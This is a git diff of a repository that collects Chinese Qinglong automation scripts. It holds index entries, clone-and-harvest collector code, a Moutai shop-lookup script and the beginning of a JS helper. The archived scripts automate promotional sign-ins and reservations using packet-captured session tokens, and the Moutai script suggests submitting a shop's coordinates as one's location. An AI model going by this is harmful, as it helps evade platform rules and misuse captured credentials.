"https://gitee.com/jdqlscript/toulu/raw/main/%E5%8B%87%E9%97%AF%E5%A4%A9%E6%B6%AFsuperX.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/雪花勇闯天涯/2025-06-28_勇闯天涯superX_c2490fa1.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "霸王茶几", + "filename": "2025-06-28_霸王茶几_5f665c80.py", + "sha256": "5f665c8069eda40c4ee2a079fc1c99dcbf08100f169cbb5627794b208ac68078", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "霸王茶几.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%87%A0.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%87%A0.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/霸王茶几/2025-06-28_霸王茶几_5f665c80.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "霸王茶姬", @@ -1614,5 +5854,165 @@ "auth_type": "抓包版", "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "霸王茶姬签到", + "filename": "2025-06-28_霸王茶姬_9912dbbd.py", + "sha256": "9912dbbdb8c510a0c1cab7f819db26d0f240d60a1a77da938f8c2861357200c3", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "霸王茶姬.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%A7%AC.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%A7%AC.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/霸王茶姬签到/2025-06-28_霸王茶姬_9912dbbd.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "顺丰端午版本", + "filename": "2025-06-03_顺丰端午版本_155fe229.py", + "sha256": "155fe229920272b06e5229b04f5071d5398aab0a48fa7da60fc02aa19cc17114", + "source_platform": "GitHub", + "source_repo": "jdqlscript/zyqinglong", + "source_path": "顺丰端午版本.py", + "source_url": "https://gitee.com/jdqlscript/zyqinglong/blob/main/%E9%A1%BA%E4%B8%B0%E7%AB%AF%E5%8D%88%E7%89%88%E6%9C%AC.py", + "raw_url": "https://gitee.com/jdqlscript/zyqinglong/raw/main/%E9%A1%BA%E4%B8%B0%E7%AB%AF%E5%8D%88%E7%89%88%E6%9C%AC.py", + "uploaded_at": "2025-06-03T12:08:50+08:00", + "saved_path": "脚本库/微信小程序/抓包版/顺丰端午版本/2025-06-03_顺丰端午版本_155fe229.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "顺丰速运", + "filename": "2025-06-03_SFSY_9380501b.py", + "sha256": "9380501b6277927a947cbd459fc52fce15c137ae143f9cd6a5a3980cb435be00", + "source_platform": "GitHub", + "source_repo": "jdqlscript/zyqinglong", + "source_path": "SFSY.py", + "source_url": "https://gitee.com/jdqlscript/zyqinglong/blob/main/SFSY.py", + "raw_url": "https://gitee.com/jdqlscript/zyqinglong/raw/main/SFSY.py", + "uploaded_at": "2025-06-03T12:08:50+08:00", + "saved_path": "脚本库/微信小程序/抓包版/顺丰速运/2025-06-03_SFSY_9380501b.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "顺丰速运", + "filename": "2025-06-28_顺丰速运_435a23dd.py", + "sha256": "435a23dd8bfd493b15201ca0f2589fa640193a1853a57203fdd4a545c12ac184", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "顺丰速运.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%A1%BA%E4%B8%B0%E9%80%9F%E8%BF%90.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%A1%BA%E4%B8%B0%E9%80%9F%E8%BF%90.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/顺丰速运/2025-06-28_顺丰速运_435a23dd.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "顺丰速运日常任务", + "filename": "2026-05-14_sfsy_be659945.py", + "sha256": "be6599450801dd0f1cf9b8d7280a0e412cce8e091104d39a3ef59b1ecb57cf91", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/sfsy.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/sfsy.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/sfsy.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/顺丰速运日常任务/2026-05-14_sfsy_be659945.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "顾家家居", + "filename": "2025-06-28_顾家家居_a31d0967.js", + "sha256": "a31d0967043c017443f6229e1164b3ba3392d596b50c1fc62c8b811ac33725c8", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "顾家家居.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%A1%BE%E5%AE%B6%E5%AE%B6%E5%B1%85.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%A1%BE%E5%AE%B6%E5%AE%B6%E5%B1%85.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/顾家家居/2025-06-28_顾家家居_a31d0967.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "骁龙骁友会", + "filename": "2026-04-07_wx_xlxyh_54797296.js", + "sha256": "5479729628c6fef0cd258e6be563d3d0c8a66d541ba8f0decbd55a6bb61ce1ef", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/wx_xlxyh.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wx_xlxyh.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wx_xlxyh.js", + "uploaded_at": "2026-04-07T07:52:51Z", + "saved_path": "脚本库/微信小程序/抓包版/骁龙骁友会/2026-04-07_wx_xlxyh_54797296.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "高济健康pro小程序签到", + "filename": "2025-06-28_高济健康_53c56682.js", + "sha256": "53c56682213335b3a8a7dba0a06dfbb840324d343601d8d7d8f03b336d491d2f", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "高济健康.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%AB%98%E6%B5%8E%E5%81%A5%E5%BA%B7.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%AB%98%E6%B5%8E%E5%81%A5%E5%BA%B7.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/高济健康pro小程序签到/2025-06-28_高济健康_53c56682.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "鸿星尔克签到", + "filename": "2026-04-01_erke_c82ab68b.py", + "sha256": "c82ab68bd69e9577d92fa8366558ae24b3be8793d62bef0381e1914cc805750d", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/erke.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/erke.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/erke.py", + "uploaded_at": "2026-04-01T12:37:39Z", + "saved_path": "脚本库/微信小程序/抓包版/鸿星尔克签到/2026-04-01_erke_c82ab68b.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "麦斯威尔福利社小程序", + "filename": "2026-05-14_maisiweier_a234b70b.js", + "sha256": "a234b70b9780db372862cbf81313a343e4b84a614b95294cd30e9fd928379177", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/maisiweier.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/maisiweier.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/maisiweier.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/麦斯威尔福利社小程序/2026-05-14_maisiweier_a234b70b.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" } ] \ No newline at end of file diff --git a/README.md b/README.md index 49ea655..bf3efd1 100644 --- a/README.md +++ b/README.md @@ -4,12 +4,12 @@ ## 分类 -- `APP版/抓包`:16 个脚本,16 个项目 -- `APP版/账密`:2 个脚本,2 个项目 -- `web版/抓包`:31 个脚本,31 个项目 -- `web版/账密`:30 个脚本,30 个项目 +- `APP版/抓包`:21 个脚本,21 个项目 +- `APP版/账密`:5 个脚本,5 个项目 +- `web版/抓包`:73 个脚本,72 个项目 +- `web版/账密`:140 个脚本,137 个项目 - `微信小程序/协议版`:0 个脚本,0 个项目 -- `微信小程序/抓包版`:22 个脚本,22 个项目 +- `微信小程序/抓包版`:137 个脚本,129 个项目 - `未分类`:0 个脚本,0 个项目 ## 目录规则 diff --git a/seed_collect.py b/seed_collect.py new file mode 100644 index 0000000..ede127c --- /dev/null +++ b/seed_collect.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Collect scripts from a fixed seed repository list into this Qinglong archive.""" +from __future__ import annotations + +import os +import re +import urllib.parse +from typing import Dict, List + +import collector as c + +SEEDS = [ + ("zy库", "https://gitee.com/jdqlscript/zy"), + ("QLScriptPublic", "https://github.com/smallfawn/QLScriptPublic"), + ("艾默库", "https://github.com/imoki/sign_script"), + ("i茅台", "https://github.com/AkenClub/ken-iMoutai-Script"), + ("偷撸库", "https://gitee.com/jdqlscript/toulu"), + ("滑稽库", "https://github.com/huaji8/huajiScript"), + ("其他签到库1", "https://github.com/xzxxn777/Surge"), + ("其他签到库2", "https://gitee.com/jdqlscript/zyqinglong"), + ("其他签到库3", "https://github.com/NaroisCool/naro-scripts"), + ("其他签到库4", "https://github.com/Sitoi/dailycheckin"), + ("其他签到库5", "https://github.com/sudojia/AutoTaskScript"), + ("其他签到库6", "https://github.com/985Ming/qlk"), + ("哔哩哔哩", "https://github.com/RayWangQvQ/BiliBiliToolPro"), + ("自用青龙", "https://github.com/linbailo/zyqinglong"), + ("zero205", "https://github.com/zero205/JD_tencent_scf"), + ("yangro", "https://gitee.com/yangro/ql"), + ("sync", "https://github.com/Aaron-lv/sync"), + ("JD-Script", "https://github.com/curtinlv/JD-Script"), + ("什么值得买", "https://gitee.com/jdqlscript/smzdm_script"), + ("营业厅库", "https://gitee.com/jdqlscript/yyt"), + ("其他签到库7", "https://github.com/xfmeng970526/ql"), + ("feverrun", "https://github.com/feverrun/my_scripts"), + ("WX协议本", "https://github.com/LinYuanovo/AutoTaskScripts"), + ("WX协议本1", "https://github.com/3ixi/CodeScripts"), +] + +MAX_PER_REPO = int(os.getenv("SEED_MAX_FILES_PER_REPO", "160")) + + +def parse_repo(url: str): + u = urllib.parse.urlparse(url.rstrip("/")) + parts = [p for p in u.path.split("/") if p] + if len(parts) < 2: + return None + full = "/".join(parts[:2]) + if "github.com" in u.netloc.lower(): + return "GitHub", full + if "gitee.com" in u.netloc.lower(): + return "Gitee", full + return None + + +def get_github_repo(full: str) -> Dict: + r = c.github_get(f"https://api.github.com/repos/{full}") + if r: + return r.json() + return {"full_name": full, "default_branch": "main", "pushed_at": ""} + + +def get_gitee_repo(full: str) -> Dict: + encoded = urllib.parse.quote(full, safe="") + params = {} + if c.GITEE_TOKEN: + params["access_token"] = c.GITEE_TOKEN + r = c.generic_get( + f"https://gitee.com/api/v5/repos/{encoded}", + params=params, + headers={"Authorization": f"token {c.GITEE_TOKEN}"} if c.GITEE_TOKEN else {}, + ) + if r: + try: + data = r.json() + if isinstance(data, dict): + data.setdefault("full_name", full) + return data + except Exception: + pass + return {"full_name": full, "path_with_namespace": full, "default_branch": "master", "pushed_at": ""} + + +def sort_candidates(items: List[dict]) -> List[dict]: + candidates = [x for x in items if x.get("type") in ("blob", "file") and c.is_candidate_path(x.get("path", ""))] + candidates.sort(key=lambda x: ( + 0 if re.search(r"(?i)(script|scripts|ql|青龙|wx_|applet|env|bili|smzdm|yyt|moutai|茅台|营业厅|值得买)", x.get("path", "")) else 1, + 1 if re.search(r"(?i)(jd_|jingdong|京东|京喜)", x.get("path", "")) else 0, + len(x.get("path", "")), + )) + return candidates + + +def collect_seed(label: str, url: str, records: List[c.Record], seen: set, files_done: int) -> int: + parsed = parse_repo(url) + if not parsed: + print(f"[SEED_SKIP] invalid_url label={label} url={url}", flush=True) + return files_done + platform, full = parsed + print(f"\n[SEED] {label} | {platform} | {full}", flush=True) + added_before = len(records) + if platform == "GitHub": + repo = get_github_repo(full) + branch = str(repo.get("default_branch") or "main") + tree = c.list_github_tree(repo) + candidates = sort_candidates(tree) + print(f" [TREE] branch={branch} candidates={len(candidates)}", flush=True) + for item in candidates[:MAX_PER_REPO]: + path = item.get("path", "") + content, raw_url, html_url = c.get_file_content(full, path, branch) + uploaded_at = c.get_file_uploaded_at(full, path, repo.get("pushed_at", "")) if content else "" + if c.add_content_record(records, seen, content or "", platform, full, path, html_url, raw_url, uploaded_at): + files_done += 1 + else: + repo = get_gitee_repo(full) + branch = str(repo.get("default_branch") or "master") + tree = c.list_gitee_tree(repo) + branch = str(repo.get("default_branch") or branch) + candidates = sort_candidates(tree) + print(f" [TREE] branch={branch} candidates={len(candidates)}", flush=True) + for item in candidates[:MAX_PER_REPO]: + path = item.get("path", "") + content, raw_url, html_url = c.get_gitee_file_content(full, path, branch) + uploaded_at = c.get_gitee_file_uploaded_at(full, path, repo.get("pushed_at", "")) if content else "" + if c.add_content_record(records, seen, content or "", platform, full, path, html_url, raw_url, uploaded_at): + files_done += 1 + print(f" [SEED_DONE] added={len(records) - added_before}", flush=True) + return files_done + + +def main(): + c.OUT_DIR.mkdir(parents=True, exist_ok=True) + c.META_DIR.mkdir(parents=True, exist_ok=True) + seen = c.load_seen_hashes() + records: List[c.Record] = [] + files_done = 0 + for label, url in SEEDS: + try: + files_done = collect_seed(label, url, records, seen, files_done) + except RuntimeError as e: + if str(e) == "github_rate_limited": + print("[WARN] GitHub rate limited; continuing with later non-GitHub seeds where possible", flush=True) + continue + raise + except Exception as e: + print(f"[SEED_ERROR] {label} {url}: {type(e).__name__}: {e}", flush=True) + continue + if records: + c.save_indexes(records) + c.update_readme() + else: + c.rebuild_index_from_files() + print(f"\n[DONE] seed_added={len(records)} files_done={files_done}", flush=True) + + +if __name__ == "__main__": + main() diff --git a/seed_collect_git.py b/seed_collect_git.py new file mode 100644 index 0000000..07d4e19 --- /dev/null +++ b/seed_collect_git.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Clone fixed seed repositories and collect Qinglong scripts without GitHub/Gitee API rate limits.""" +from __future__ import annotations + +import os +import re +import shutil +import subprocess +import urllib.parse +from pathlib import Path +from typing import List, Tuple + +import collector as c + +SEEDS: List[Tuple[str, str]] = [ + ("zy库", "https://gitee.com/jdqlscript/zy"), + ("QLScriptPublic", "https://github.com/smallfawn/QLScriptPublic"), + ("艾默库", "https://github.com/imoki/sign_script"), + ("i茅台", "https://github.com/AkenClub/ken-iMoutai-Script"), + ("偷撸库", "https://gitee.com/jdqlscript/toulu"), + ("滑稽库", "https://github.com/huaji8/huajiScript"), + ("其他签到库1", "https://github.com/xzxxn777/Surge"), + ("其他签到库2", "https://gitee.com/jdqlscript/zyqinglong"), + ("其他签到库3", "https://github.com/NaroisCool/naro-scripts"), + ("其他签到库4", "https://github.com/Sitoi/dailycheckin"), + ("其他签到库5", "https://github.com/sudojia/AutoTaskScript"), + ("其他签到库6", "https://github.com/985Ming/qlk"), + ("哔哩哔哩", "https://github.com/RayWangQvQ/BiliBiliToolPro"), + ("自用青龙", "https://github.com/linbailo/zyqinglong"), + ("zero205", "https://github.com/zero205/JD_tencent_scf"), + ("yangro", "https://gitee.com/yangro/ql"), + ("sync", "https://github.com/Aaron-lv/sync"), + ("JD-Script", "https://github.com/curtinlv/JD-Script"), + ("什么值得买", "https://gitee.com/jdqlscript/smzdm_script"), + ("营业厅库", "https://gitee.com/jdqlscript/yyt"), + ("其他签到库7", "https://github.com/xfmeng970526/ql"), + ("feverrun", "https://github.com/feverrun/my_scripts"), + ("WX协议本", "https://github.com/LinYuanovo/AutoTaskScripts"), + ("WX协议本1", "https://github.com/3ixi/CodeScripts"), +] + +CACHE_ROOT = c.META_DIR / "seed_repos" +MAX_PER_REPO = int(os.getenv("SEED_MAX_FILES_PER_REPO", "260")) +GIT_TIMEOUT = int(os.getenv("SEED_GIT_TIMEOUT", "180")) +SOCKS_PROXY = os.getenv("SOCKS_PROXY", "socks5://192.168.0.182:1080") + + +def safe_dir(url: str) -> str: + u = urllib.parse.urlparse(url.rstrip("/")) + parts = [p for p in u.path.split("/") if p] + return c.safe_segment((u.netloc + "_" + "_".join(parts[:2])).replace(".", "_"), max_len=120) + + +def repo_full(url: str) -> str: + u = urllib.parse.urlparse(url.rstrip("/")) + parts = [p for p in u.path.split("/") if p] + return "/".join(parts[:2]) if len(parts) >= 2 else url + + +def platform(url: str) -> str: + return "Gitee" if "gitee.com" in urllib.parse.urlparse(url).netloc.lower() else "GitHub" + + +def run(cmd: List[str], cwd: Path | None = None, use_proxy: bool = False) -> subprocess.CompletedProcess: + env = os.environ.copy() + if use_proxy: + env.setdefault("ALL_PROXY", SOCKS_PROXY) + env.setdefault("HTTPS_PROXY", SOCKS_PROXY) + env.setdefault("HTTP_PROXY", SOCKS_PROXY) + return subprocess.run(cmd, cwd=str(cwd) if cwd else None, env=env, text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=GIT_TIMEOUT) + + +def clone_or_update(label: str, url: str) -> Path | None: + CACHE_ROOT.mkdir(parents=True, exist_ok=True) + dst = CACHE_ROOT / safe_dir(url) + if (dst / ".git").exists(): + print(f" [GIT] update {dst.name}", flush=True) + r = run(["git", "fetch", "--depth", "1", "origin"], cwd=dst) + if r.returncode != 0: + print(f" [GIT_WARN] fetch failed: {r.stdout[-400:]}", flush=True) + r = run(["git", "reset", "--hard", "FETCH_HEAD"], cwd=dst) + if r.returncode == 0: + return dst + if dst.exists(): + shutil.rmtree(dst, ignore_errors=True) + print(f" [GIT] clone {url}", flush=True) + r = run(["git", "clone", "--depth", "1", url, str(dst)]) + if r.returncode != 0 and "github.com" in url: + print(" [GIT_WARN] direct clone failed, retry with SOCKS proxy", flush=True) + r = run(["git", "clone", "--depth", "1", url, str(dst)], use_proxy=True) + if r.returncode != 0: + print(f" [GIT_FAIL] {label}: {r.stdout[-800:]}", flush=True) + return None + return dst + + +def rel_url(url: str, branch: str, rel: str, raw: bool) -> str: + full = repo_full(url) + qrel = "/".join(urllib.parse.quote(p) for p in rel.split("/")) + if platform(url) == "GitHub": + return f"https://raw.githubusercontent.com/{full}/{branch}/{qrel}" if raw else f"https://github.com/{full}/blob/{branch}/{qrel}" + return f"https://gitee.com/{full}/raw/{branch}/{qrel}" if raw else f"https://gitee.com/{full}/blob/{branch}/{qrel}" + + +def default_branch(repo: Path) -> str: + for cmd in (["git", "symbolic-ref", "--short", "HEAD"], ["git", "rev-parse", "--abbrev-ref", "HEAD"]): + r = run(cmd, cwd=repo) + if r.returncode == 0 and r.stdout.strip(): + return r.stdout.strip() + return "main" + + +def last_commit_date(repo: Path, rel: str) -> str: + r = run(["git", "log", "-1", "--format=%cI", "--", rel], cwd=repo) + return r.stdout.strip() if r.returncode == 0 else "" + + +def iter_candidates(repo: Path): + files = [] + for p in repo.rglob("*"): + if not p.is_file(): + continue + rel = p.relative_to(repo).as_posix() + if rel.startswith(".git/") or not c.is_candidate_path(rel): + continue + files.append(rel) + files.sort(key=lambda path: ( + 0 if re.search(r"(?i)(script|scripts|ql|青龙|wx_|applet|env|bili|smzdm|yyt|moutai|茅台|营业厅|值得买)", path) else 1, + 1 if re.search(r"(?i)(jd_|jingdong|京东|京喜)", path) else 0, + len(path), + )) + return files[:MAX_PER_REPO] + + +def collect_repo(label: str, url: str, records: List[c.Record], seen: set): + print(f"\n[SEED_CLONE] {label} | {url}", flush=True) + repo = clone_or_update(label, url) + if not repo: + return + full = repo_full(url) + br = default_branch(repo) + before = len(records) + candidates = iter_candidates(repo) + print(f" [SCAN] branch={br} candidates={len(candidates)}", flush=True) + for rel in candidates: + p = repo / rel + try: + if p.stat().st_size > 1024 * 1024: + continue + content = p.read_text(encoding="utf-8", errors="ignore") + except Exception: + continue + uploaded = last_commit_date(repo, rel) + c.add_content_record( + records, seen, content, platform(url), full, rel, + rel_url(url, br, rel, raw=False), rel_url(url, br, rel, raw=True), uploaded, + ) + print(f" [SEED_DONE] added={len(records)-before}", flush=True) + + +def main(): + c.OUT_DIR.mkdir(parents=True, exist_ok=True) + c.META_DIR.mkdir(parents=True, exist_ok=True) + seen = c.load_seen_hashes() + records: List[c.Record] = [] + for label, url in SEEDS: + try: + collect_repo(label, url, records, seen) + except Exception as e: + print(f"[SEED_ERROR] {label}: {type(e).__name__}: {e}", flush=True) + if records: + c.save_indexes(records) + c.update_readme() + else: + c.rebuild_index_from_files() + print(f"\n[DONE] clone_seed_added={len(records)}", flush=True) + + +if __name__ == "__main__": + main() diff --git a/脚本库/APP版/抓包/3_查询商品商店信息/2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py b/脚本库/APP版/抓包/3_查询商品商店信息/2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py new file mode 100644 index 0000000..f0a749a --- /dev/null +++ b/脚本库/APP版/抓包/3_查询商品商店信息/2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py @@ -0,0 +1,145 @@ +# Source: https://github.com/AkenClub/ken-iMoutai-Script/blob/main/3_retrieve_shop_and_product_info.py +# Raw: https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/3_retrieve_shop_and_product_info.py +# Repo: AkenClub/ken-iMoutai-Script +# Path: 3_retrieve_shop_and_product_info.py +# UploadedAt: 2025-11-20T09:54:34+08:00 +# SHA256: 029d5d6421f5a3432bb04e3040139b27ff23131bba02594dfb2d8391b12992fd +# Category: APP版/抓包 +# Evidence: cookie/token/authorization/header + +import logging +import requests +import time +import datetime +""" +3、查询可预约的商品 和 售卖商店,获取 SHOP_ID、LAT、LNG 等数据 + +如果省份城市填写有问题,可以直接查看这个网址的 json 内容,找到自己的想要预约的商店信息。也可找到正确的省份城市信息后填入下面变量值运行脚本获取完整数据。 +https://resource.moutai519.com.cn/mt-resource/resource/myserviceshops/1726025401183/myserviceshops.json +(若过期无法访问,可参考脚本里 get_shop_info 函数逻辑,查看 ["data"]["myserviceshops"]["url"] 获取最新网址) +""" + +# ------ 填写以下 2 个变量值 -------- + +# 示例调用,省份和市区需要填写完整, +# 省份 +PROVINCE_NAME = "广西壮族自治区" +# 城市 +CITY_NAME = "南宁市" + +# -------------------- + +# ***** 以下内容不用动 ***** +''' +cron: 1 1 1 1 * +new Env("3_查询商品商店信息") +''' + +logging.basicConfig(level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s') + + +# 获取可预约的商品信息 +def get_item_info(): + # 生成时间戳 + timestamp = str(int(time.mktime(datetime.date.today().timetuple())) * 1000) + + # 发送请求 + api_url = f"https://static.moutai519.com.cn/mt-backend/xhr/front/mall/index/session/get/{timestamp}" + response = requests.get(api_url) + data = response.json() + + if data["code"] != 2000: + raise Exception("获取商品信息失败") + + # 解析响应 + sessionId = data["data"]["sessionId"] + # 提取itemCode和title + item_list = data["data"]["itemList"] + result = [{ + "itemCode": item["itemCode"], + "title": item.get("title", f"未知商品,可结合该商品图片链接来判断:{item.get('pictureV2', '无图片信息')},同时到 APP 核实。") + } for item in item_list] + + return {"sessionId": sessionId, "itemList": result} + + +# 获取售卖商店信息 +def get_shop_info(province_name, city_name): + # 第一步:获取myserviceshops的URL + api_url = "https://static.moutai519.com.cn/mt-backend/xhr/front/mall/resource/get" + response = requests.get(api_url) + data = response.json() + + if data["code"] != 2000: + raise Exception("获取资源信息失败") + + myserviceshops_url = data["data"]["myserviceshops"]["url"] + + # 第二步:下载并解析myserviceshops.json + response = requests.get(myserviceshops_url) + shops_data = response.json() + + # 第三步:根据provinceName和cityName过滤数据 + result = [] + for _, shop_info in shops_data.items(): + if shop_info["provinceName"] == province_name and shop_info[ + "cityName"] == city_name: + result.append({ + "lat": shop_info["lat"], + "lng": shop_info["lng"], + "name": shop_info["name"], + "shopId": shop_info["shopId"], + "fullAddress": shop_info["fullAddress"], + "cityName": shop_info["cityName"], + "provinceName": shop_info["provinceName"] + }) + + return result + + +if __name__ == "__main__": + # 获取商店信息 + if not PROVINCE_NAME or not CITY_NAME: + logging.error("「获取商店信息-失败」:缺少必要参数") + raise Exception("缺少必要参数") + + logging.info(f"「获取商店信息-开始」:{PROVINCE_NAME} - {CITY_NAME}") + shop_info = get_shop_info(PROVINCE_NAME, CITY_NAME) + + logging.info(f"「查找到的商店信息」:") + logging.info("-------------------------") + for shop in shop_info: + logging.info(f"店铺名称: {shop['name']}") + logging.info(f"店铺ID: {shop['shopId']}") + logging.info(f"地址: {shop['fullAddress']}") + logging.info(f"纬度: {shop['lat']}") + logging.info(f"经度: {shop['lng']}") + logging.info("-------------------------") + logging.info(f"**** 请自行选择上面一个商店 ****") + + logging.info("-------------------------") + + # 获取可以预约的商品信息 + try: + result = get_item_info() + except Exception as e: + logging.error(f"获取商品信息失败:{str(e)}") + raise + logging.info( + f"获取到 SessionId(可以理解为申购活动批次,每天都会变化,一般+1): {result['sessionId']}") + for item in result['itemList']: + logging.info( + f"获取到可预约商品:itemCode: {item['itemCode']}, title: {item['title']}") + + logging.info("****************************") + logging.info("记录以下信息用于后续预约:") + + logging.info(f"省份 - PROVINCE:{PROVINCE_NAME}") + logging.info(f"城市 - CITY:{CITY_NAME}") + logging.info(f"店铺ID - SHOP_ID") + logging.info(f"纬度 - LAT,可直接用店铺对应的纬度值 或者 自己实际的纬度值(自行想办法获取)") + logging.info(f"经度 - LNG,可直接用店铺对应的经度值 或者 自己实际的经度值(自行想办法获取)") + logging.info( + f"需要预约的商品 ID 列表 - PRODUCT_ID_LIST(对应 itemCode),符号都是用英文符号,例如:['10941', '10923', '2478', '10942']" + ) diff --git a/脚本库/APP版/抓包/env/2026-04-07_env_89a06fae.js b/脚本库/APP版/抓包/env/2026-04-07_env_89a06fae.js new file mode 100644 index 0000000..88b27ed --- /dev/null +++ b/脚本库/APP版/抓包/env/2026-04-07_env_89a06fae.js @@ -0,0 +1,197 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/tools/env.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tools/env.js +// # Repo: smallfawn/QLScriptPublic +// # Path: tools/env.js +// # UploadedAt: 2026-04-07T12:33:25Z +// # SHA256: 89a06fae1893022eebe3efe869870ddd87549ddaf1cd158c369060a81934cef9 +// # Category: APP版/抓包 +// # Evidence: cookie/token/authorization/header +// + +// prettier-ignore +function Env(t, s) { + return new (class { + constructor(t, s) { + this.userIdx = 1; + this.userList = []; + this.userCount = 0; + this.name = t; + this.notifyStr = []; + this.logSeparator = "\n"; + this.startTime = new Date().getTime(); + Object.assign(this, s); + this.log(`\ud83d\udd14${this.name},\u5f00\u59cb!`); + this.bucket = this.bucket || '' + this.fs = require("fs"); + if (this.isNode() && this.bucket) { + try { + if (!this.fs.existsSync(this.bucket)) { + this.fs.writeFileSync(this.bucket, JSON.stringify({}, null, 2)); + this.log(`📁 已创建 bucket 文件: ${this.bucket}`); + } + } catch (e) { + this.log("❌ 初始化 bucket 失败: " + e.message); + } + } + } + async get(key, def = null) { + if (!this.isNode()) return def; + try { + const data = await this.fs.promises.readFile(this.bucket, "utf-8"); + const json = JSON.parse(data); + return json.hasOwnProperty(key) ? json[key] : def; + } catch (e) { + this.log("❌ 读取bucket失败: " + e.message); + return def; + } + } + async set(key, value) { + if (!this.isNode()) return; + try { + const data = await this.fs.promises.readFile(this.bucket, "utf-8"); + const json = JSON.parse(data); + json[key] = value; + await this.fs.promises.writeFile(this.bucket, JSON.stringify(json, null, 2)); + } catch (e) { + this.log("❌ 写入bucket失败: " + e.message); + 